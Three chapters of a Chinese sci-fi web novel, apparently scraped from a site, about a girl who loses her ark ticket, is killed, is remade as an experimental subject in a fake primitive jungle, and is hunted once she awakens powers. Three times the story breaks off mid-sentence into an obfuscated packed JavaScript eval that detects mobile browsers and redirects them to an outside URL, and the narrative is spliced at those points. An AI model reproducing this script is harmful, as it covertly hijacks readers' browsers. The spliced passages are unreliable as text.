《劣等实验体》 1. 第1章 预计在公元2426年11月26日。 蓝星将迎来三颗行星的毁灭性撞击。 撞击的前两百年,冰川尽数消融,海平面上涨,极端高温与酸雨交替,总人口缩减至六亿。存活下来的人被迫钻入地底,靠着机械自制的天光苟延残喘。 各洲航天局倾尽百年之力研发的行星拦阻计划均以失败告终。遂决定,放弃蓝星。转而实施星际移民计划,组建联邦,研发天河方舟号系列载人飞船,前往70光年外的Z156星系。 2326年7月1日。 蓝星自毁装置启动。 倒计时14天—— 2326年7月2日。 天河方舟号系列陆续开放登船。 登船需要通行票。 蓝星覆灭之际,一票难求。 * 登船港口设立在地下城的顶部,队伍自上而下蜿蜒了数十公里,数不到尽头。 乔晞已经排了整整三天。 放眼望去,所有人都狼狈不堪。不少人撑不住,直接席地坐或躺倒。聚集区域里弥漫着难以言说的气味,汗臭、食物腐坏的味道、排泄物的腥气混杂在一起。登船入口每放行一人,后方的人群就像疯了一般往前涌。 “前面的,能不能快点儿!磨叽死了。” 队伍往前挪了几步。 乔晞眯着眼,困顿不堪地跟着挪动。 突然整个人被一股力量撞到,猝不及防地踉跄着向前扑去。脚下踩着满地的垃圾,险些一头栽倒。扶住栏杆站稳后,乔晞下意识地紧紧捂住胸口内衣里兜着的那张通行船票。 推搡乔晞的是一对中年夫妇。 男人黑框眼镜的镜片上糊着指印和油垢,背后的登山包摞得像座小山,锅碗瓢盆叮叮当当地绑在外头。他边护着包,边攥着妇人的胳膊。 妇人不由得好奇:“小姑娘,只有你一人登船吗?” 乔晞点头,不愿与陌生人交谈。 妇人见状却面露悲悯,与她丈夫轻声道:“又是家里的独苗苗。” 乔晞用手搓着脸,试图清醒。 这种场合精神不佳是大忌,若是不慎弄丢了这张船票,她无颜回家。 * 乔晞不是家里的独苗,甚至不是幼苗。 一家六口,为了这张小小的、金贵的癸级舱船票,砸锅卖铁耗尽家财。天河方舟号的舱位,以十天干划分等级。甲为尊,癸为最末。癸级的休眠舱甚至是临时增加的,由飞船最底部的货舱改造而成。 哥嫂是这末世里,少有的情深义重之人。他们相爱相守,谁也不愿丢下彼此独活。小侄子还不到一岁,毫无自理能力。 乔家随母姓,话事人是乔妈。于是,在乔妈干脆地拍板下,十四岁的乔晞获得家里唯一活命的机会。 乔晞起初,是不愿意走的。 她自幼生长在地下城,不过是个还没踏入高中的孩子,不明白这张船票意味着什么。 那天,温柔慈爱的乔妈第一次对女儿动了手,乔晞的脸颊被巴掌扇得高高肿起。 而乔妈打完,手却控制不住地发抖,强咬着牙狠下心,拉开乔晞的外套拉链,将那张通行船票仔细地塞进她内衣里,谆谆嘱托:“活下去!晞晞,妈妈要你活下去!” 嫂子抱着小侄子红着眼,怨恨不甘。天知道,她多想拿到这张船票的是自己儿子。可她深知如果是儿子怀揣着这样一张重若泰山的活命券,在这弱肉强食的末世里,只会被连人带票撕成碎片,不会有活路。 倒不如和父母死在一起,还算圆满。 乔晞甚至没来得及和家人告别,就被乔妈火速打包好行李推出了家门,怕一拖又生出变故。 她就这样,孤身一人。 怀揣着全家的希望,踏上遥远的星际旅途。 * 在排队第四天的夜里,终于轮到乔晞检票。她小心翼翼地从内衣里掏出那张通行票,用手把上面的汗渍擦干净,珍而重之地递给检票员。 “滴——” “验证失败。” 验票机器蓝光扫描后,发出警报。 检票员拿出那张票,打量起乔晞。 “我的票……怎么了?” 熬了好几夜,乔晞的小脸憔悴又惨白,她的神情变得惶恐与不安。 检票员漠然地念:“癸级舱,37座。” 乔晞点头如捣蒜。 “是我!没错的,这就是我的票!” “你的票已失效。” 什么?! 怎么会…… 乔晞还没反应过来,就已经被后面急着登船的人群推搡到了一边。 轮到跟在她身后的那对中年夫妇验票,机器接连报两声:“验证通过,请放行。” 夫妻二人过安检前,妇人拉住乔晞的衣袖,“孩子,你的通行票,应该是被人顶了。” 丈夫:“你跟她说这些干嘛?” 妇人:“她都没命活了,总得死个明白。” 两人窃窃私语的进去了。 再回头望,乔晞已经被安保员架出去了。 * 被安保员拖架着带离,乔晞悬了几日的心终于死了,哭都哭不出来。 乔晞神色木然,只想着回去如何劝慰家人,才能让他们坦然接受与浪费了船票的自己埋在一起。 安保员见多了被架出去的人。那些人大多歇斯底里,哭天抢地,甚至拼命反抗,怨声载道,像乔晞这样心如死灰的,倒是极少见到。 “没关系的,人都是会死的。” 安保员好心出言安慰。 乔晞:“你也不能上船吗?” “我这种人哪有资格买票。”安保员听乐了,“你能拿到船票,已经很厉害了。” 乔晞听出了言外之意,“顶替我的人很有钱吗?” 安保员:“不仅有钱,还很有用。” 乔晞不由被他安慰出些许火气。 甲乙丙丁,癸级前面有九个高级舱。这些有钱又有用的天龙人,去顶替那些舱位的人不行吗? 为什么要来顶她这种小虾米? 她的想法明晃晃地写在脸上,被安保员看了出来:“这不临近出行,黄牛加价,情有可原。” 乔晞:“……” 这条路怎么这么漫长? 她想快点回家。 * “等等——” 飞行汽车闪烁着霓虹灯降落。 乔晞混沌的双眼被光闪得昏花,隐约见到一个白衣天使朝她走来。 “黄博士。” 安保员停下,颔首致意。 白衣天使行至面前,他弯腰用手抬起乔晞的下巴,仔细端详道:“这是37座,癸级舱被席董他儿子顶替的那个?” 席董,儿子。 就是那个顶替她的天龙人吗? 安保员应声是。 乔晞被迫仰头瞪圆着眼,瞧清楚了白衣天使——四十岁出头的中年男人,鹰钩鼻,目光锐利。他循循善诱道:“37座,我给你一个去Z156星系的机会好不好?” 乔晞摇头说:“我要回家。” 命运的馈赠早就暗中标好了价格。 她什么都没有,什么都付不起。 乔晞不想去什么遥远的Z星系,不想登什么方舟号,她只是想和家人团聚而已。 施舍者显然没料到,自己抛出的橄榄枝,会被如此轻易地拒绝。 安保员见状,拖着乔晞就准备走。 “站住!” 安保员听命停下。 一拖一停,让本就虚弱的乔晞胃里翻江倒海,难受至极。这个所谓的博士,又要整什么幺蛾子? 乔晞抬头的瞬间,一支针管刺入她的颈部,里面的药剂被迅速推入静脉。她脑袋一歪,瞬间无法动弹,唯有意识还算清醒。 “小张,把37座的脑髓提取出来。”黄博士吩咐身后的助手。 乔晞:? 有脚步朝她走来。 紧接着是金属与刀具碰撞的声儿。 冰冷的器械抵住了乔晞的脑门。 “邦邦——” 沉闷的声响持续发出。 助手拿着大锤动作利索地全菌开颅。 安保员:“黄博士,这不符合规定。” 黄博士:“我们科学家有甲级权限。” 安保员:“她刚刚已经明确拒绝了。” 黄博士:“孩子还小,不明白拒绝的是什么,我在给她活命的机会。3 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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进来的是一男一女,看着非常年轻,几乎未着寸缕,只是像野人一样在腰胯处缠了些兽毛与羽毛,堪堪遮着关键部位。 他们走路半匍匐着,时而跑跳,嘴里发出咿咿呀呀、含糊不清的吆喝声,像是兽吼。 不是像野人,他们就是野人。 是乔晞现在的,野人爹妈。 * 野人照顾起孩子非常敷衍和粗暴。 给乔晞喂水,野人妈从来都是摘一片宽大的树叶,兜着山涧里接来的刺骨冰水就往她脸上劈头盖脸地浇。 乔晞的小脑袋经常被泡得皱巴巴,这种无效的投喂方式,让她经常喝不到水,只能吧嗒吧嗒舔着嘴角外流的水。 光喝水怎么能行? 后来野人妈打猎回来,不知又从哪弄来一滩动物血,混着半粘稠的奶,捏着乔晞的下巴就要喂给她。 又腥又臭,乔晞不爱喝。 她闭紧嘴巴,摇头抗拒。 野人妈见孩子不听话,立刻不耐烦地嗷嗷喊着,抓住她的小身子用力摇晃。乔晞被晃得两眼发黑,天旋地转,当下就吐得稀里哗啦,还没等她喘过气,那动物血奶,就被灌进嘴里了。 乔晞大概能判断出,自己活在一个原始的野人村落里。四周全是大大小小的山洞,从早到晚此起彼伏地响着野人们的嘶吼与喊叫,有打猎丰收的狂喜,有撕心裂肺的争执,还有一些让人难以描述的…… 就像现在。 野人爹扛着只扑棱大鸟回来了,把猎物往洞里胡乱一扔,乔晞黑漆漆的眼猝不及防就对视上近在咫尺的鸟头,鸟死状凄惨,歪眼斜嘴。而罪魁祸首急头白脸地搂着野人妈滚到了角落。 乔晞试探性地嗷了声—— 两人异常投入,毫无反应。 她随即干嚎,想引起注意。 野人爹被吵得烦躁不已,回头吼出一串乔晞听不懂的怪叫,挥手甩了张干硬野兽皮子,“啪”地抽在她脸上。 婴儿娇嫩的小脸被抽得生疼,不幸的是那张兽皮正好严严实实地盖住了她的口鼻。 呼吸瞬间被切断,胸口憋得发疼。 乔晞拧着身子无助地乱蹬,却怎么也掀不开沉重的兽皮。 啊啊啊! 要窒息了喂! 2. 第2章 山洞里终年潮湿,岩壁上渗出的水珠,滴滴答答落在地面。 自从上次险些窒息,乔晞就再也不敢发出任何类似哭喊的声响。她每日躺在草絮里数着水滴声,扮演一个再乖巧不过的婴儿。 野人爹闲来无事会凑到乔晞面前,用粗糙的大手掐她脸颊肉逗弄她。 乔晞不爱搭理他,不喜不闹。 野人的脑子都不好,经常犯轴。见状他竟学着野人妈平日里的模样,抓住乔晞小小的身子用力晃着。 乔晞现在已经被折腾得麻木了。 被晃得再厉害也不会吐出来。 野人妈喂她什么,她都乖乖喝下去。 不是乔晞被同化了,而是她发现这对野人夫妻吃血淋淋的生肉! * 普通的一天,野人爹外出打猎,照旧驮回来一只羽毛斑斓的大鸟。那鸟还未彻底断气,发出凄厉的哀鸣,就被野人爹一把揪光了浑身羽毛。 五彩羽毛在山洞里漫天纷飞。 乔晞咯吱咯吱笑着拿手接羽毛。 野人妈则兴奋地吱哇乱叫,她抓住鸟脖子大口撕咬着生肉,血水顺着下巴淌到胸口。 乔晞笑不出来了。 缩在草堆里,浑身冰凉。 她长大以后也要吃这些吗? 就在胡思乱想时—— 岩壁上忽然飘来一点细碎的光。 乔晞缓缓抬起眼。 山洞里,无数繁星般的细小粒子正凭空飞舞。轻飘飘,亮晶晶,像被风吹散的萤火,又像天地间最微小的尘埃,无声无息地漂浮。 乔晞怔怔看着,那些粒子竟像是听懂了她的心思,缓缓聚拢,在她眼前凝成一条又一条莹亮的丝线。 那些丝线柔软地晃了晃。 乔晞心里刚冒出“散开”的念头,丝线便瞬间崩解,化作漫天粉状的光点,洋洋洒洒落在她的小手边。 新奇与欢喜瞬间淹没了她。 * 从那以后,只要那对野人在跟前乱来,乔晞就安安静静地玩。试着在心里指挥,那些粒子便听话地拧成一股小麻花,在空中轻轻打转。 玩得兴起,乔晞心念一动,那股粒子麻花“咻”地一下,狠狠抽在正蹲着啃生肉的野人爹脚上。 “嗷——!” 野人爹疼得蹦起来,抱着脚在地上打滚,发出滋哇乱叫的痛嚎。他警惕地瞪圆眼睛,在山洞里焦躁地嗅来嗅去,粗壮的手臂胡乱挥舞,像在驱赶什么看不见的怪物。可他抓来抓去,什么都碰不到,只能暴躁地低吼。 只有乔晞能看见。 她眼睛眨巴眨巴,藏着满心欢喜。 * 而乔晞真正开心的是野人哥哥们回来的时候,因为她不止有野人爹妈,还有两个野人哥哥。 两个哥哥并不和乔晞一起在山洞里生活,他们住在更远的部落里,不过七八岁的年纪,已是出色的小猎手。 每次回来,哥哥们都背着沉甸甸的猎物,有小兽,有飞鸟,一股脑丢给野人爹妈,然后立刻兴冲冲跑到草堆边,抱起小小的乔晞。 只有他们回来,乔晞才能走出山洞,看见外面的世界。 * 蛮荒雨林。 参天巨树直通云霄,层峦叠嶂的大山长满奇花异草,巨大的叶片像撑开的绿伞,空气中弥漫着湿润的草木清香。 五彩斑斓的大鸟掠过天际。 远处的瀑布从万丈悬崖倾泻而下,水雾在日光下凝成一道横跨山川的彩虹桥。 大哥力气大,背着乔晞攀上粗壮的树枝,遇到挡路的横生枝干,他抬手一劈,粗壮的树干便轰然断裂,飞鸟惊起四散。 二哥身手矫健,最擅长骑乘大鸟。风从耳边呼啸而过,他带着乔晞在悬崖边俯冲,总是在最惊险的那一刻,将她抛向空中。 乔晞没有害怕,只有挣脱束缚的畅快。她小小的身子飞起,再被二哥稳稳接住,兄妹俩都发出兴奋的叫喊。 哥哥们还会带乔晞去吃花蜜。 崖边生长着一种海星状的花,花瓣淡紫色,花心分泌出清甜浓稠的花蜜。大哥摘下一片草叶,卷成细细的叶管戳进花心,把花蜜吸出来,再低头凑近乔晞,吹进她小嘴里。 甜。 带着阳光与花朵的香气。 乔晞眯起眼,小嘴巴咂了咂。 雨林由无处不在的粒子演化出森罗万象,红的、绿的、金的、蓝的,随着风,随着生命的气息流动。 乔晞常常被哥哥们放在一片玉盘似的叶瓣里,望着湛蓝的天空,用那些看不见的粒子悄悄作画。 画小鸟,画彩虹,画蠢哥哥。 还经常捏着小拳头,对着两个哥哥划圈。 哥哥们不懂这是什么意思,却牢牢记住了她这个动作。只要她小拳头一划到底,他们就立刻咿呀呼喊着,齐齐蹦起来,动作整齐又可爱。 若是有人慢了一拍,脚下就会莫名一绊,狠狠摔在草地上,爬起来却也不恼,只是对着乔晞嘿嘿傻笑。 他们不知道乔晞是怎么做到的,可这一点也不妨碍兄妹三人疯玩。 * 乔晞就这样稀里糊涂地长大了。 她学会了野人的语言,会滋哇乱叫了。野人话好像没有具体内容,全靠语气词搭配简单粗暴的手部动作。 乔晞三岁那年,村落里不知哪个聪明的野人,意外弄出了钻木取火。从此每个黑漆漆的山洞,到了夜里都灯火通明。 大哥和二哥回来时,也会背上一大堆干燥的树枝,在山洞外架起火堆,把猎物剥皮,串在树枝上,架着火慢慢烤。 油脂顺着肉纹滴落,落在火里发出滋滋声响,浓郁的肉香弥漫开来,再也没有生肉的腥气。 谢天谢地,乔晞终于能吃上熟食了。她会把大哥采来的花蜜抹在烤肉上,甜香混着肉香,大口大口嚼着吃。 可野人爹偏偏不喜欢火。 每次看到跳动的火苗,他就像被吓破胆,大喊大叫着到处乱窜。直到野人妈兜着水回来把火泼灭,他才消停。 乔晞咬着手指,歪头看着他。 女孩身上裹的遮蔽物从芭蕉叶升级成大鸟的羽毛。她小手悄悄抬起,那些无形的粒子凝聚成火苗的温度,追在野人爹屁股后面烧。 “嗷——!” 野人爹吓得魂飞魄散,狼狈地趴在地上,手脚并用地往后缩。凭着野兽般的直觉,他死死盯着乔晞,认定是她搞的鬼。 他不喜欢乔晞。 乔晞也不喜欢他。 * 乔晞五岁那年,山洞里多了两个满地爬的幼儿,那是她的野人弟妹。小小的婴儿皱巴巴的,咿咿呀呀。她不用像哥哥们那样费心带孩子,每天乐得自在。 因为野人妈不久前刚难产大出血,生了个死胎,身子彻底垮了,再也不能外出打猎,只能成天躺在洞里看孩子。 生产那天,乔晞怕那死胎被其他野人叼走分食,赶紧趁乱抱出去找了个河岸边潦草的埋了。 然后,她捡来三根细长的木头,插在土堆前摩擦点火。木头燃烧,青烟袅袅,在这片蛮荒雨林里,成了一炷简陋的香火。 她不知道自己为什么要这么做,但觉得就该这样做。 * 野人妈身体越来越差。 野人爹也很少回这个山洞了。 乔晞常常看见他扛着一大堆猎物回来,却只丢下极少一小部分,剩下的全拎去了另外的山洞。 乔晞常常有上顿没下顿,饿得肚子咕咕叫。 她开始尝试自己弄吃的。 天空有猛禽盘旋,羽毛锋利,身姿凶狠。 乔晞躲在大树后,五指收紧,空气中那些粒子凝成索命绳,朝着猛禽绞去。 那猛禽发出一声惊啼。 可乔晞还不会掌控力量,绞杀总是失败,只能勉强把猛禽绊倒在地上。她像小兽一样扑过去,雄赳赳气昂昂地按住它的翅膀。 猛禽在她手里滴溜溜转着眼睛,对着她轻轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315380|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吱了好几声,带着求饶的意味。 乔晞过瘾似的先拔了两根羽毛插头上。 然后还是把它放了。 猛禽扑棱着翅膀飞上天空,盘旋几圈才远去。 饿极了的时候,乔晞就跑到雨林深处采花蜜,装在宽大的树叶里带回山洞,偶尔分一点给小妹。 小妹:“啊咿呀——” 这就表示很开心很喜欢。 * 为什么不给弟弟呢? 因为弟弟早就没了。 食物太少,营养不良,一场发烧就夺走了他的命。 乔晞和小妹把他埋了。 土堆前烧了六根木头。 * 这种荒芜又平静的日子,在乔晞七岁那年彻底被打破。 大哥二哥,已经两年没有回来过。 像是凭空消失在这片广袤雨林里。 乔晞每天跑到洞口张望,望穿了雨林的晨雾与晚霞,始终没有等到。 这天,野人爹突然回了她们的山洞。 他眼神狐疑,神情古怪,弓着背在山洞里一圈圈巡视,目光在乔晞和小妹身上来回打量。最后,他走到虚弱不堪的野人妈面前,对着她一顿吱哇乱叫。 意思是要带乔晞去别的山洞。 野人妈翻了个身,强撑着爬起来。她衰老得太快了,脸上满是褶皱,满头白发乱糟糟。 野人爹大步朝乔晞走过来,伸手就要抓她。乔晞有种很不好的预感,绷着身子往后退。 她知道去别人的山洞是什么意思。 就是像野人爹那样,去跟别人睡觉。 小妹龇着牙冲到乔晞身前,试图吓退野人爹。野人爹不耐地一把掀开她,将乔晞扛在胳膊下,转身就走。 乔晞的世界倾斜了。 她瞪圆眼睛,手掌暴起青筋,空气中无形的粒子瞬间凝成一股粗绳。 “嘭——” 野人爹被绊住,重重摔倒在地,发出一声痛嚎。他被彻底激怒,翻身起来掐住乔晞的脖子。 乔晞瞬间涨红了脸。 那种濒临窒息的恐惧再次席卷而来。 她咬牙。 一根锋利的丝线正艰难地成形。 * 在旁默不作声的野人妈突然仰天嘶喊起来,像头被激怒的母兽,横冲直撞将乔晞撞飞了出去。她扑在野人爹身上,张口死死咬住他的耳朵。 “撕啦——” 她硬生生把野人爹的耳朵撕了下来。 鲜血喷溅。 两人扭打在一起。 野人妈双手抠住野人爹的脸,这架势要把人眼珠抠出来。野人爹痛得疯狂嘶吼,一拳拳重重捶在她肚子上。 洞里一片混乱,地动山摇。 小妹嚎得撕心裂肺。 乔晞趴在地上,大口喘气。 她用尽全身力气抬起手,小心操控丝线套进野人爹脖子。 然后,用力拉紧。 绞杀—— 野人爹突然眼球暴起,双手捂住脖子,嘴里发不出任何声音。 “咚。”他的头从脖子上滚落。 被野人妈拽在手里。 她高高举起那颗头颅,对着洞口方向,发出一声凄厉的仰天长啸。 那是野人战斗胜利的庆祝方式。 乔晞爬过去。 野人妈已经力竭,瘫倒在血泊里。 她张着嘴,喉咙咕噜咕噜说着什么。 乔晞把耳朵凑过去。 她听懂了,是让她们去找哥哥。 小妹伸着舌头舔着野人妈血流不止的肚子,发出悲伤的呜咽声。乔晞抱开她,伸手捂住了野人妈的眼睛。 野人妈在黑暗里停止了呼吸。 * 河岸边,又多了一座新土堆。 一连三个堆,九根燃烧的木头。 乔晞背起小妹。 去往哥哥们所在的部落,要跨越整片蛮荒雨林。 3. 第3章 乔晞最近有种很清晰的直觉。 有人在跟着她们。 雨林的天气从来没有准头。 刚刚还是烈日当空,顷刻间就能降下瓢泼大雨。丰厚的降水量冲刷泥泞、脚印、气味、折断的枝叶,所有痕迹都能被抹去。 可乔晞就是知道。 她们像是猎物被人锁定了踪迹。 之所以能确定对方是人,不是野人,也不是猛兽,是因为那些痕迹太规整了。 对方始终与她们保持一段固定距离。 不远不近,不紧不慢。 乔晞五感敏锐。 虽然不能清晰地判断出嗅到和听到的东西,但她熟悉。 * 掌心涌出延展线,被乔晞凝成一道锋利无匹的利刃。 “唰——” 巨木被拦腰斩断,树干轰然倾斜。 乔晞抱起小妹,纵身跃向倒下的树干,借着巨木滑落的力道,直冲而下扎进瀑布水帘之后。 穿过瀑布,来到一片食人花群。 这里的植物扭曲得狰狞可怖。 每朵食人花都有三米高,花瓣呈暗红与漆黑交织的纹路,中央裂开了张巨大的嘴,内壁布满细密尖锐的锯齿,涎水黏稠透明滴落在地上,腐蚀出黑烟。 兜兜转转,乔晞终于选定了这块死地。她扒开松软湿润的泥土,将小妹埋进去,直到小妹整个身子都被埋进土里,只留下一颗小脑袋露在外面,勉强能呼吸。 乔晞隔空割下一片宽大厚实的食人花叶瓣,盖在小妹头顶,避免她被误食。做完这些,乔晞俯下身,两指捏住小妹的嘴唇。 示意她别出声。 小妹乖乖点头。 乔晞也匍匐在不远处一朵食人花的底部。她双手紧紧攥住延伸出来的丝线,丝线在她操控下疯长,化作一张大网,另一头密密麻麻缠在食人花的嘴沿,将那层层獠牙捆住。 看得见,吃不着。 头顶的食人花不甘心地蛄蛹着,锋利的齿冠摩擦发出咯吱咯吱的声响。 陷阱已布好。 现在,只等人自投罗网。 * 乔晞耳朵高高竖起,像警惕的兽,全神贯注捕捉着周围的声音。 雨林里只有水滴声是规律且清晰的。 乔晞在心里默数。 一滴。 两滴。 三滴。 …… 十五滴。 十六滴。 十七滴—— 有脚步声来了! 乔晞趴在泥土里,屏住呼吸,从花叶缝隙里向外望去。 两个高大魁梧的男人踏入食人花捕食区,他们穿着深绿色迷彩服,身材挺拔,步伐一致。脸上均戴着半透明的面罩,手里握着对讲的机器,身后还背着一把长型器械。 “总部,收到请回答。” 对讲机里立刻传出电流杂音。 “收到,请讲。” 乔晞眉毛拧成凶结。 这不是野人语。不是那些咿咿呀呀、意义不明的吼叫。 这是人话。 是她与生俱来就能听懂,刻在灵魂里的语言。 ——可总部是什么? 乔晞脑袋埋进湿冷的泥土里,身体绷得像一张拉满的弓,想听得更清楚。 “野人村落的癸-37与丁-11实验体出逃,最后定位信号在蛮荒雨林食人花区域。目前她们生命体征……良好,是否放行?” 一阵“滋啦滋啦”的电流声过后。 “士兵,把花推了,癸-37死活不论,丁-11务必要给我抓活的回来。” 对讲机里却传来些争执—— “这路线一看又是去蛮夷部落的……” “长官,食人花区是林博士的实验田……” “沙棠星这么大,让他再圈一片地研究他的花!丁级以上的实验体是黄博士亲自盯着的。出半点差错,你们全都去长留星服刑吧!” 乔晞额角渗出薄汗,信息量过载。 太久没听过人话,她混沌的脑子消化不良。 对讲机里再次下达指令: “士兵,推平食人花田,抓人。” “收到。” 两名士兵不再犹豫,取下背上的长形器械,扛在肩头,对准前方的食人花群。 “轰——” 巨大的火焰喷射而出,橙红色火舌疯狂舔舐着花朵。食人花肥厚的花瓣瞬间焦黑卷曲,发出“滋滋”的灼烧声,腥臭的浓烟滚滚。 原本狰狞的花体在高温中萎缩碳化,化为灰烬,刺鼻的焦糊味充斥整片林子。他们朝着小妹被埋的方向,一路喷过去。 乔晞手指一动,缠在上方的食人花上的线被拉扯,果断将整朵花头绞断。 她不再隐藏,身形暴起。 “发现目标癸-37。”士兵立刻拽住同伴。 “咔嚓——” 轻脆的骨响。 乔晞高高跃起,隔空拧断了士兵的头。 士兵身体僵在原地,头颅歪斜滚落。旁边的食人花被惊动,巨大的花瓣飞速一卷,将那颗滚落的头颅吞入腹中。 另一名士兵脸色剧变,惊骇欲绝。 他下意识抓起对讲机:“总部!癸-37觉醒异能,是——” 话没说完。 看不见的锋利丝线破空而来,精准击飞他手中的对讲机。 “士兵,请重复,什么种类的异能?” “士兵?请重复!” 对讲机里的呼喊声越来越急,被蹲守在侧的食人花一口卷进嘴里,声音戛然而止。 那士兵还没来得及反抗,就被缠住四肢与脖颈。他的头、手、脚被扯成一个诡异而扭曲的姿势,像提线木偶一样被吊在半空中。 乔晞仰起头,歪着脑袋看他。 太久没说人话。 乔晞语调怪异而生硬,一个字一个字往外蹦:“我,是,癸-37?” 士兵吓得拼命点头。 “她,”乔晞偏头,指向只露一颗头的小妹,“是,丁-11?” 士兵继续点头。 见乔晞似乎还要再问,士兵精神彻底崩溃,突然嘶吼出声:“57533,生命献给联邦!” 乔晞一愣:“?” 喊得什么乱七八糟东西。 “轰——” 士兵的身体在半空中直接炸开。 血雾、碎肉、骨渣飞溅一地。 巨大的冲击波将乔晞掀飞出去,撞在树干上。 烟尘散去。 食人花群一地狼藉。 焦黑的花骸、炸碎的肢体、染血的泥土、断裂的枝叶,混着雨水,泥泞不堪。 乔晞咳着血,撑着地面爬起来,冲到小妹身边,飞快将人从土里刨出来,小妹已经被刚才的爆炸震晕过去。 乔晞背起她,不顾一切狂奔。 * 跑。 快跑。 野人村落是假的,雨林是假的,食人花是假的。她从小到大经历的一切,都是假的。 乔晞和小妹,山洞里死去的婴儿,都只是那些博士的实验体。她们身体里藏着定位器,可以被无限追踪,也可能藏着随时可以夺走性命的开关。 乔晞背着小妹,疯了一样地跑。 可从头到尾,她们都跑不出去划定的牢笼。 * 不知不觉惊扰了雨林里食物链的上游。 乔晞来到一片窟底水潭,潭底漆黑,盘踞着五六条数十米长的大蛇。 蛇身粗硬如磐石,鳞片泛着阴冷的光,头顶凸起骇人的毒囊,一双双竖瞳冷冷地盯着闯入者。它们一张嘴,喷出的毒液就能填满小半个水潭。 乔晞堪堪停下脚步。 * 身后,忽然传来一声口哨。 乔晞回头,浑身汗毛倒竖。 穿着纯黑作战衣的年轻男人,单手攀在树干上,手臂青筋暴起,像一头蛰伏的凶兽。他居高临下看着她,漫不经心的笑:“癸-37,我劝你别过去。” 乔晞当然不想过去。 她在极速判断—— 这个人和眼前的蛇窟,哪个更危险? 男人身后的树枝上却凭空多出一道身影。 同样身穿黑色作战衣的年轻女人,齿轮状地刘海贴着饱满的额头,菱形的嘴猩红。 女人双眼紧闭,神情淡漠。 “阿旭,”她开口,语调平静,“动手。” 她睁开眼的一瞬,周遭泛起诡异的红光。无数菌丝蔓延覆盖在男人的太阳穴位置。 被称作阿旭的男人瞳孔缩小又放大,面部表情变得凶狠、狂热,像头被唤醒的恶狼,朝着乔晞暴扑而来。 危险! 极致的危险! 乔晞不再犹豫,转身就要跃进蛇窟。 “铛——” 金属碰撞的脆响。 几条泛着冷光的铁链镣铐从虚空中探出,精准扣住乔晞的四肢,向后一拽将她硬生生拉了回来。 窟底的大蛇已经昂首起身,血盆大口张开。 乔晞咬牙,意念成刃割向铁链。 “铮——” 铁链应声断裂。 可来不及了,乔晞周遭的空间扭曲晃动。 眨眼之间,场景生变。 乔晞直接被拽到了参天大树的顶端,脚踩着悬空的树枝,下方是深渊蛇窟。 阿旭一手扣住乔晞脖颈,一手拎着昏迷的小妹,力道大得像铁钳,让她动弹不得。女人目光带着审视:“原来你觉醒的是物理系异能。” 乔晞挣扎反抗,想再次催动意念。可空气里的粒子、暗物质却散而不聚。 她惊骇地发现,自己的意念无法集中。 有人在精神压制乔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315381|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晞。 是这个可怖的女人! 阿旭:“物理系很厉害?” 女人语气里多了几分兴致,“操控一切微观存在,那可是黑暗向导才可以觉醒的能力。” 阿旭眼神徒然狠厉,抬手五指化为锋利的钢刀,划开乔晞的脊背。 乔晞浑身抽搐,痛得几乎晕厥。 “你干什么!”女人惊喝道。 阿旭平淡地说:“阿婵你不是好奇吗?我把她剖开给你看看。” 乔晞的皮肉被撕开,血液喷涌而出。 阿旭的手指探进乔晞的脊背,一枚泛着绿光的芯片,从她脊椎深处被扯了出来。 阿婵接过芯片,恍然大悟道:“噢,我想起来了。癸级,这不是黄博士的劣等实验体嘛!怪不得指挥部只交代我们确保丁-11的生命体征。” “真是可怜,只有十六年使用期限,就算觉醒了向导天赋,她的感知测试也不会够得上F级。” 阿旭嫌弃地丢开阿婵手里那枚染血的芯片,“芯片我是装不回去了,癸-37还带回去吗?” 阿婵拎着昏迷不醒的丁-11,轻飘飘丢下一句:“杀了丢下去,咱们给陈博士的变异眼镜蛇添点开胃菜。” 乔晞的心脏,被五爪钢刀彻底碾碎。她被阿旭从高高的树顶,径直丢下。 * 被抽出芯片后,那些被遗忘的记忆,如同决堤洪水疯狂倒灌。 …… 我叫乔晞,从小住在地下城。 全家砸锅卖铁只为一张船票送我走。 我被富人的儿子顶替名额。 被黄博士取了脑髓,活活杀死。 成了沙棠星野人村落的癸级实验体。 我风餐露宿的长大。 杀了野人爹,葬了野人妈。 带着妹妹跨越蛮荒雨林去找哥哥。 我想要的不过是平静安稳的生活。 就因为我的定位是劣等实验体。 所以我的命就轻贱到谁都可以给予,谁都可以随手夺去吗? 活着,到底有什么意义? 生如蝼蚁,却被迫去攀附和仰望那些高高在上的巨厦。我生来就是为了衬托他们的尊贵,他们的正确,他们的至高无上吗? 可那些所谓巍峨,不过是踩着蝼蚁的血肉与骨头层层垒起来的罢了。 活着……好累啊。 如果可以就这样死掉就好了。 * 弥留之际,那些记忆里最珍贵的画面却如走马灯放映。 “活下去!晞晞,妈妈要你活下去!” 乔晞的眼皮,艰难地动了一下。 妈妈…… 我好想你。 乔晞在脑海里一遍一遍,临摹着妈妈的样子。她甚至,还没有跟乔妈好好告别。 * 乔晞在山洞里长到三岁。 